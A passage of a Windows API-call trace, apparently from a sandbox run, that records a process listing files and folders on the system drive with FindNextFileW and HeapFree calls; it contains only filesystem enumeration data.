ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0103.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.390] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0103.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.390] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0103.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0103.390] FindNextFileW (in: hFindFile=0x4290580, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0103.390] FindClose (in: hFindFile=0x4290580 | out: hFindFile=0x4290580) returned 1 [0103.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0103.391] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0103.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0103.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.624] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0103.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.640] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0103.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.641] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d17e8fb, ftLastAccessTime.dwHighDateTime=0x1d51a3f, ftLastWriteTime.dwLowDateTime=0x4d17e8fb, ftLastWriteTime.dwHighDateTime=0x1d51a3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0103.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0103.643] FindNextFileW (in: hFindFile=0x4290440, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0104.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0104.068] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff584 | out: lpFindFileData=0x38ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0104.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.069] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0104.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.069] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0104.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.069] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0104.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.069] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0104.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.069] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0104.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.070] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0104.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.070] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0104.228] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.228] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0104.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.230] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0104.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.231] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0104.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.231] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0104.231] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.231] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0104.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.232] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0104.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0104.232] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0104.234] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0104.234] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0104.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0104.235] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0104.235] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0104.235] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0104.836] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0104.836] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0105.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0105.671] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0108.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0108.154] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0108.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0108.154] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0108.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0108.155] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0108.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0108.155] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0108.158] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0108.158] FindNextFileW (in: hFindFile=0x4290540, lpFindFileData=0x38ff08c | out: lpFindFileData=0x38ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0108.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.159] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0108.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.159] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0108.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.159] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0108.159] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.159] FindNextFileW (in: hFindFile=0x4290200, lpFindFileData=0x38ff308 | out: lpFindFileData=0x38ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0108.160] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0108.160] FindNextFileW (in: hFindFile=0x4290200, 